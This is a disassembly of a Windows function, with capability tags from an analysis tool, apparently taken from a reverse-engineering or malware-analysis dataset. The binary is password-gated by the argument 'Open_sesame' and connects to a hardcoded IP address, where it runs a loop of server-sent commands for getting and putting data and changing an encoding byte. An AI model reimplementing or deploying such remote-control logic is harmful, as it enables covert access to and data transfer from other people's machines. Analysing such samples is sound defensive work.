Function at 0x403820
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425b59
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x432014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 8], 2
mov dword [ebp - 0x1ec], 0
jne 0x403eb4
mov eax, dword [ebp + 0xc]
mov ecx, 0x704f
mov eax, dword [eax + 4]
cmp word [eax], cx
jne 0x403eb4
cmp byte [eax + 2], 0x65
jne 0x403eb4
mov ecx, 0x5f6e
cmp word [eax + 3], cx
jne 0x403eb4
cmp dword [eax + 5], 0x61736573
jne 0x403eb4
mov ecx, 0x656d
cmp word [eax + 9], cx
jne 0x403eb4
lea eax, [ebp - 0x1d8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4038ea
push eax
mov edx, str.WSAStartup_failed:
mov ecx, 0x432fd8
call fcn.00406020
mov ecx, eax
call fcn.00404080
push eax
call fcn.00405f80
add esp, 4
mov eax, 1
jmp 0x403eb6
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x48], 0
push eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x44], 2
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x40], 1
push 0x42ede4
push str.100.101.0.162
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
mov dword [ebp - 0x3c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x403962
mov edx, str.getaddrinfo_failed:
push eax
mov ecx, 0x432fd8
call fcn.00406020
mov ecx, eax
call fcn.00404080
push eax
call fcn.00405f80
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x403eb6
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
mov dword [ebp - 0x1e4], esi
cmp esi, 0xffffffff
je 0x403e5d
nop word [eax + eax]
mov edx, str.Connecting_to_the_server...
mov ecx, 0x432fd8
call fcn.00406020
push eax
call fcn.00405f80
mov eax, dword [ebp - 0x1dc]
add esp, 4
push dword [eax + 0x10]
push dword [eax + 0x18]
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4039ee
call edi
push eax
mov edx, str.Unable_to_connect_to_server:
mov ecx, 0x432fd8
call fcn.00406020
mov ecx, eax
call fcn.00404080
push eax
call fcn.00405f80
add esp, 4
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x403e40
mov edx, str.Connected_
mov ecx, 0x432fd8
call fcn.00406020
push eax
call fcn.00405f80
add esp, 4
lea ecx, [ebp - 0x28]
mov edx, esi
call fcn.00402b60
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
test edi, edi
je 0x403ded
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov esi, dword [ebp - 0x28]
cmovae eax, esi
setae dl
mov byte [ebp - 0x1dd], dl
cmp byte [eax], 0x63
jne 0x403a52
mov edi, dword [ebp - 0x1e4]
mov ecx, edi
call fcn.00402ec0
mov esi, dword [ebp - 0x28]
jmp 0x403d99
test dl, dl
lea eax, [ebp - 0x28]
cmovne eax, esi
cmp byte [eax], 0x67
jne 0x403b24
mov dword [ebp - 0x210], 0
xorps xmm0, xmm0
mov dword [ebp - 0x20c], 0
movups xmmword [ebp - 0x220], xmm0
cmp edi, 2
jb 0x403ed6
or ecx, 0xffffffff
lea eax, [edi - 2]
cmp eax, 0xffffffff
cmovb ecx, eax
test dl, dl
lea eax, [ebp - 0x28]
cmovne eax, esi
push ecx
add eax, 2
lea ecx, [ebp - 0x220]
push eax
call fcn.00406510
or dword [ebp - 0x1ec], 1
mov edi, dword [ebp - 0x1e4]
lea edx, [ebp - 0x220]
mov byte [ebp - 4], 1
mov ecx, edi
cmp dword [ebp - 0x20c], 0x10
cmovae edx, dword [ebp - 0x220]
call fcn.00403510
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x403d7d
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403b12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ed1
push ecx
push edx
call fcn.00409896
mov esi, dword [ebp - 0x28]
add esp, 8
jmp 0x403d99
test dl, dl
lea eax, [ebp - 0x28]
cmovne eax, esi
cmp byte [eax], 0x70
lea eax, [ebp - 0x28]
jne 0x403ccc
test dl, dl
cmovne eax, esi
mov dword [ebp - 0x1e8], eax
test edi, edi
je 0x403b65
push edi
push 0
push eax
call fcn.0040b420
add esp, 0xc
test eax, eax
je 0x403b65
sub eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1e8], eax
jmp 0x403b6f
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x1f8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1f4], 0
movups xmmword [ebp - 0x208], xmm0
cmp edi, 2
jb 0x403ed6
or ecx, 0xffffffff
lea eax, [edi - 2]
cmp eax, 0xffffffff
cmovb ecx, eax
cmp byte [ebp - 0x1dd], 0
lea eax, [ebp - 0x28]
cmovne eax, esi
push ecx
add eax, 2
lea ecx, [ebp - 0x208]
push eax
call fcn.00406510
or dword [ebp - 0x1ec], 2
mov byte [ebp - 4], 2
lea esi, [ebp - 0x208]
cmp dword [ebp - 0x1f4], 0x10
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmovae esi, dword [ebp - 0x208]
cmp dword [ebp - 0x14], 0x10
mov edx, dword [ebp - 0x1e8]
cmovae ecx, dword [ebp - 0x28]
sub eax, edx
inc edx
dec eax
add edx, ecx
mov ecx, esi
push eax
call fcn.00403750
mov byte [ebp - 4], 0
add esp, 4
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0x10
jb 0x403c41
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c37
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ed1
push ecx
push edx
call fcn.00409896
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x1f8], 0
mov ecx, esp
mov dword [ebp - 0x1e8], esp
xorps xmm0, xmm0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
push 6
movups xmmword [ecx], xmm0
push str.put_OK
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406510
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str._put
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406510
mov edi, dword [ebp - 0x1e4]
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.00402610
mov esi, dword [ebp - 0x28]
add esp, 0x30
jmp 0x403d99
test dl, dl
cmovne eax, esi
cmp byte [eax], 0x72
jne 0x403d82
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
mov dword [ebp - 0x1f0], esp
push 9
movups xmmword [ecx], xmm0
push str.rotate_OK
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406510
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
xorps xmm0, xmm0
push 7
movups xmmword [ecx], xmm0
push str._rotate
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406510
mov edi, dword [ebp - 0x1e4]
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.00402610
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov edx, str.New_encoding:
mov ecx, 0x432fd8
cmovae eax, dword [ebp - 0x28]
mov al, byte [eax + 2]
mov byte [ebp - 0x1dd], al
mov byte [0x432a68], al
call fcn.00406020
mov dl, byte [ebp - 0x1dd]
mov ecx, eax
call fcn.00407390
push eax
call fcn.00405f80
add esp, 0x34
mov esi, dword [ebp - 0x28]
jmp 0x403d99
test dl, dl
lea eax, [ebp - 0x28]
cmovne eax, esi
cmp byte [eax], 0x6b
je 0x403e69
mov edi, dword [ebp - 0x1e4]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x403dd1
inc ecx
mov eax, esi
cmp ecx, 0x1000
jb 0x403dc7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ed1
push ecx
push esi
call fcn.00409896
add esp, 8
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00402b60
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
test edi, edi
jne 0x403a22
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x403e28
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ed1
push ecx
push edx
call fcn.00409896
add esp, 8
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x1e4], eax
cmp esi, 0xffffffff
jne 0x403990
call edi
mov edx, str.Error_at_socket__:
jmp 0x403937
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x403e96
inc ecx
mov eax, esi
cmp ecx, 0x1000
jb 0x403e8c
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ed1
push ecx
push esi
call fcn.00409896
add esp, 8
push dword [ebp - 0x1e4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push dword [ebp - 0x1dc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409853
mov esp, ebp
pop ebp
ret
call fcn.00410e4d
call fcn.00405df0
int3